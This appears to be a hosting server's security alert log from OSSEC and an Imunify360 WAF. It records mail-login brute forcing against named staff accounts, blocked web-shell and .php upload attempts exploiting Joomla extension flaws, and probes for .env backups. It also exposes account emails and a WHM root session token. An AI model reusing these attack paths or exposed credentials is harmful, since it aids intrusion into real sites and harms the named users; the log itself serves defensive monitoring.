2026-07-11 19:37:20 dovecot_login authenticator failed for H=n112120115152.netvigator.com ([184.181.178.35]) [112.120.115.152]:56760: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-11 19:38:05 dovecot_login authenticator failed for H=(78.189.17.35.static.ttnet.com.tr) [197.219.208.38]:54924: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 107.189.7.168
country_id: 2960313
domain: sriganapathyent.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icoqoskhq/fonts/imkkzvmx.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-11 19:40:50 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([70.166.167.58]) [213.66.197.199]:36662: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-07-11 19:44:39 dovecot_login authenticator failed for H=([119.201.143.23]) [196.191.142.67]:40042: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.183.59.33
country_id: 130758
description:
2026-07-11 19:44:22 dovecot_login authenticator failed for H=([192.252.216.83]) [94.183.59.33]:59072: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-07-11 19:45:20 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net (448990.cloudwaysapps.com) [51.68.226.171]:57286: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.28.177.67
country_id: 248816
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es20?Itemid=101&catid=18 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.88.131.5
country_id: 3508796
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-av-solutions HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.110
country_id: 1269750
description:
2026-07-11 19:56:15 dovecot_login authenticator failed for H=([175.200.178.138]) [27.123.111.110]:42618: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.5.129.68
country_id: 3017382
description:
2026-07-11 19:56:30 dovecot_login authenticator failed for H=68.129.5.84.rev.sfr.net ([115.94.121.82]) [84.5.129.68]:57526: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-11 19:58:32 dovecot_login authenticator failed for H=(karuna.divineled.com) [122.187.116.110]:58116: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.251.149.81
country_id: 6252001
description:
2026-07-11 19:58:09 dovecot_login authenticator failed for H=64-251-149-81.fidnet.com ([218.159.144.187]) [64.251.149.81]:59902: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2026-07-11 20:00:12 dovecot_login authenticator failed for H=([192.111.134.12]) [36.39.140.2]:40643: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-11 20:00:44 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com ([196.189.126.10]) [168.91.173.57]:53726: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.254.119.147
country_id: 1269750
description:
2026-07-11 20:00:21 dovecot_login authenticator failed for H=([206.62.136.111]) [117.254.119.147]:46358: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.168
country_id: 1835841
description:
2026-07-11 20:00:47 dovecot_login authenticator failed for H=([174.64.199.87]) [121.131.220.168]:58140: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77469916
abuser: 38.54.82.169
country_id: 1605651
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:mastacjymoa.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-07-11 20:02:12 dovecot_login authenticator failed for H=(nsg-static-057.88.71.182.airtel.in) [119.198.191.180]:48230: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 142.91.109.154
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://lubinka.ru/ctatistika-96-stran-23-03-2019/\">NEW88</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.131.166.136
country_id: 3865483
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/category/facelift/ HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 5.31.130.162
country_id: 290557
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:82560.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bf25ba5e3e9e198a4b11f3ce7c5ba4aa7fc70a9f||Title:0x2fa786b8||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.13.36
country_id: 1269750
description:
[2026-07-11 20:09:50 +0530] info [whostmgrd] 223.181.13.36 NEW root:5vi49e1FnNHgmPNP address=223.181.13.36,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.157
country_id: 3865483
description:
2026-07-11 20:10:42 dovecot_login authenticator failed for H=([196.190.220.199]) [170.233.29.157]:38463: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.120.151.214
country_id: 3508796
description:
2026-07-11 20:10:22 dovecot_login authenticator failed for H=([166.239.184.117]) [186.120.151.214]:51862: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 185.177.72.205
country_id: 3017382
domain: 103.185.74.189
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/web.QA.config||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-11 20:13:21 dovecot_login authenticator failed for H=([103.130.207.227]) [175.200.217.128]:38250: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.197.42
country_id: 1269750
description:
2026-07-11 20:12:59 dovecot_login authenticator failed for H=(72-24-210-58.cpe.sparklight.net) [128.185.197.42]:38548: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 136.158.60.168
country_id: 1694008
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/jrg_ibmc/ HTTP/1.0||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 136.158.60.168
country_id: 1694008
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/ HTTP/1.0||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.138.160
country_id: 1835841
description:
2026-07-11 20:16:17 dovecot_login authenticator failed for H=([121.55.64.44]) [220.72.138.160]:17586: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.237.155.113
country_id: 2661886
description:
2026-07-11 20:17:54 dovecot_login authenticator failed for H=81-237-155-113-no2400.tbcn.telia.com ([93.95.241.150]) [81.237.155.113]:42777: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-11 20:18:41 dovecot_login authenticator failed for H=([196.191.212.235]) [119.92.76.210]:43998: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-11 20:20:46 dovecot_login authenticator failed for H=([174.64.199.77]) [210.177.143.61]:42176: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 162.212.168.123
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://kings96.net/\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-11 20:21:23 dovecot_login authenticator failed for H=([68.71.254.3]) [103.168.241.32]:35526: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-11 20:21:04 dovecot_login authenticator failed for H=(31-208-108-219.cust.bredband2.com) [182.95.101.182]:43750: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-11 20:21:06 dovecot_login authenticator failed for H=([185.113.175.27]) [92.62.74.41]:48393: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: autodiscover.cochinbigbandshow.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.89.128.6
country_id: 192950
description:
2026-07-11 20:30:18 dovecot_login authenticator failed for H=(ip103-31-38-92.cloudhost.web.id) [41.89.128.6]:49238: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.65.70
country_id: 163843
description:
2026-07-11 20:35:30 dovecot_login authenticator failed for H=([45.175.20.14]) [205.209.65.70]:51950: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.143.208.202
country_id: 6252001
description:
2026-07-11 20:35:17 dovecot_login authenticator failed for H=47-143-208-202.fdr01.blpk.ca.ip.frontiernet.net (111-70-38-53.emome-ip.hinet.net) [47.143.208.202]:38254: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.22.207
country_id: 6252001
description:
2026-07-11 20:36:37 dovecot_login authenticator failed for H=([111.26.115.121]) [207.254.22.207]:49648: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.135.208.32
country_id: 1861060
description:
2026-07-11 20:36:50 dovecot_login authenticator failed for H=(188-122-39-33.xdsl.5gdsl.com) [212.135.208.32]:34286: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 8.209.255.13
country_id: 1861060
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://vird.co/go/angkanetvg\">Penyedia Result Togel Angkanet</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-11 20:50:29 dovecot_login authenticator failed for H=([220.161.52.149]) [210.123.87.143]:41350: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.158.140.244
country_id: 1835841
description:
2026-07-11 20:52:46 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [221.158.140.244]:42270: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.43.150.20
country_id: 1668284
description:
2026-07-11 20:53:12 dovecot_login authenticator failed for H=([61.156.59.146]) [115.43.150.20]:42860: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 141.138.190.16
country_id: 272103
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/actor-vishnu-govindan-shared-his-experience-at-metro-digital-media-home-theatre-review HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.91.153.26
country_id: 3077311
description:
2026-07-11 20:55:34 dovecot_login authenticator failed for H=u153-26.static.grape.cz ([24.142.170.231]) [93.91.153.26]:55977: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.82
country_id: 2077456
description:
2026-07-11 20:56:01 dovecot_login authenticator failed for H=210.0.90.82.static.nexnet.net.au ([72.207.109.1]) [210.0.90.82]:43122: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-11 20:56:41 dovecot_login authenticator failed for H=([174.64.199.92]) [94.16.17.140]:39416: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.83
country_id: 1733045
description:
2026-07-11 21:01:34 dovecot_login authenticator failed for H=([85.227.82.3]) [49.125.201.83]:37922: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.159.165.216
country_id: 294640
description:
2026-07-11 21:01:45 dovecot_login authenticator failed for H=([49.124.147.249]) [85.159.165.216]:45629: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.192.112
country_id: 660013
description:
2026-07-11 21:01:40 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc0-112.dhcp.inet.fi ([98.190.239.1]) [80.223.192.112]:47692: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.2.51
country_id: 298795
description:
2026-07-11 21:02:08 dovecot_login authenticator failed for H=([213.234.9.218]) [85.105.2.51]:36776: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.248.156.49
country_id: 1522867
description:
2026-07-11 21:03:55 dovecot_login authenticator failed for H=(111-70-29-124.emome-ip.hinet.net) [109.248.156.49]:33042: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.27.139
country_id: 6252001
description:
2026-07-11 21:05:38 dovecot_login authenticator failed for H=c-71-235-27-139.hsd1.vt.comcast.net ([49.124.151.17]) [71.235.27.139]:50826: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-11 21:05:55 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net ([67.201.39.9]) [221.120.4.61]:52583: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.39.147
country_id: 1269750
description:
2026-07-11 21:11:38 dovecot_login authenticator failed for H=([49.125.201.86]) [103.171.39.147]:52294: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.249.16
country_id: 298795
description:
2026-07-11 21:11:56 dovecot_login authenticator failed for H=(vm-creative-db01.madavor.cl.zerolag.com) [5.11.249.16]:44494: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.57.196
country_id: 1835841
description:
2026-07-11 21:13:46 dovecot_login authenticator failed for H=([85.30.248.213]) [112.160.57.196]:56754: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-11 21:13:33 dovecot_login authenticator failed for H=([114.202.80.152]) [183.82.108.109]:52658: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.126.252.40
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.coursera.org/user/d884538f0f22ceeb20ab567f8986bc57\">instant instagram</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 172.233.92.80
country_id: 1861060
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s112099.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-11 21:17:26 dovecot_login authenticator failed for H=([103.57.224.221]) [94.16.17.141]:40054: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.28.5
country_id: 2963597
description:
2026-07-11 21:17:17 dovecot_login authenticator failed for H=(37-128-240-47.dynamic.customer.lanta-me.ru) [207.254.28.5]:53678: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.103.82.72
country_id: 2661886
description:
2026-07-11 21:19:47 dovecot_login authenticator failed for H=194-103-82-72.ip.obe.net ([103.168.241.32]) [194.103.82.72]:39126: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.82
country_id: 2077456
description:
2026-07-11 21:19:19 dovecot_login authenticator failed for H=210.0.90.82.static.nexnet.net.au (wsip-184-178-172-24.rn.hr.cox.net) [210.0.90.82]:41880: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 38.54.82.169
country_id: 1605651
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:mastaayivic.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 38.54.82.169
country_id: 1605651
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:mastauqx0tu.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.168.115.241
country_id: 6252001
domain: www.combinations.in
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:combinations||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.115.5
country_id: 2661886
description:
2026-07-11 21:29:20 dovecot_login authenticator failed for H=90-230-115-5-no2550.tbcn.telia.com ([38.141.252.55]) [90.230.115.5]:55188: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.205.169
country_id: 1733045
description:
2026-07-11 21:32:53 dovecot_login authenticator failed for H=([154.73.4.144]) [49.124.205.169]:48662: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 156.230.182.136
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:114372||Sizes:97||Combined size:97||User:globalgroupoman||WPU:||Filename:majestic_krbpvpgTHh.php||Scanned:/tmp//20260711-213400-alJpcK3_TwHhij4yfusKNAAAAMI-file-hPE421||SC:/home/globalgroupoman/public_html/index.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-11 21:37:42 dovecot_login authenticator failed for H=([223.82.86.2]) [98.122.215.23]:58674: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.107.16
country_id: 1269750
description:
2026-07-11 21:37:46 dovecot_login authenticator failed for H=([192.111.129.146]) [182.76.107.16]:49100: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.69
country_id: 1733045
description:
2026-07-11 21:38:03 dovecot_login authenticator failed for H=(ppp-58-8-48-178.revip2.asianet.co.th) [49.125.201.69]:35946: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-11 21:38:08 dovecot_login authenticator failed for H=([36.154.20.34]) [128.185.33.241]:54180: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.25
country_id: 1668284
description:
2026-07-11 21:40:22 dovecot_login authenticator failed for H=221-120-73-25.emome-ip.hinet.net ([49.124.153.30]) [221.120.73.25]:47505: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.200.42.112
country_id: 1880251
description:
2026-07-11 21:41:48 dovecot_login authenticator failed for H=([175.213.42.43]) [118.200.42.112]:35236: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-11 21:42:22 dovecot_login authenticator failed for H=([102.214.44.117]) [202.62.88.25]:42460: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.45.200.87
country_id: 2077456
description:
2026-07-11 21:42:49 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [203.45.200.87]:43340: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-11 21:44:46 dovecot_login authenticator failed for H=([211.178.3.26]) [197.219.208.58]:38282: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.20.78
country_id: 3017382
description:
2026-07-11 21:44:22 dovecot_login authenticator failed for H=vps-5b692794.vps.ovh.net ([45.164.115.86]) [213.32.20.78]:44264: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.200.95.18
country_id: 290557
description:
2026-07-11 21:47:30 dovecot_login authenticator failed for H=([70.166.167.60]) [94.200.95.18]:46460: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-11 21:46:59 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi ([222.186.68.153]) [80.223.163.253]:41994: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.85.144
country_id: 1269750
description:
2026-07-11 21:47:59 dovecot_login authenticator failed for H=([210.56.12.205]) [122.160.85.144]:60234: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 178.210.187.26
country_id: 3277605
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 https://forums.overclockers.com.au/proxy.php?link=https://exyuiptv.org/paketi/ [<a href=\"https://wikitestra.itestra.com/api.php?action=https://forums.overclockers.com.au/proxy.php?link=https://exyuiptv.org/paketi/\">wikitestra.itestra.com</a>] (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.8.107.197
country_id: 783754
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/assets/client/GR-27.jpg HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.111.6.121
country_id: 1269750
description:
2026-07-11 21:54:23 dovecot_login authenticator failed for H=([142.54.239.4]) [103.111.6.121]:38548: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.187.2
country_id: 1269750
description:
2026-07-11 21:55:32 dovecot_login authenticator failed for H=(mail.koffy.finance) [128.185.187.2]:35478: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.168
country_id: 1835841
description:
2026-07-11 21:54:55 dovecot_login authenticator failed for H=([220.124.208.27]) [121.131.220.168]:54175: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.88.209.51
country_id: 1269750
description:
2026-07-11 21:55:05 dovecot_login authenticator failed for H=([49.124.159.195]) [202.88.209.51]:44178: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-11 21:58:43 dovecot_login authenticator failed for H=([113.219.177.95]) [125.130.102.172]:44153: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.250.226.164
country_id: 149590
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:65852.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:440ba0c92c7b28ab0699733d4cac80a2f9774f39||Title:0x4838cc4c||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-11 22:09:16 dovecot_login authenticator failed for H=(nsg-static-106.102.72.182.airtel.in) [125.23.204.74]:44514: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.43.107.179
country_id: 1835841
description:
2026-07-11 22:12:00 dovecot_login authenticator failed for H=([37.28.177.141]) [211.43.107.179]:60221: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-11 22:14:20 dovecot_login authenticator failed for H=([72.37.217.1]) [63.78.215.208]:41643: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-11 22:14:37 dovecot_login authenticator failed for H=([80.223.190.179]) [219.248.4.146]:57630: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.105.218.151
country_id: 1694008
description:
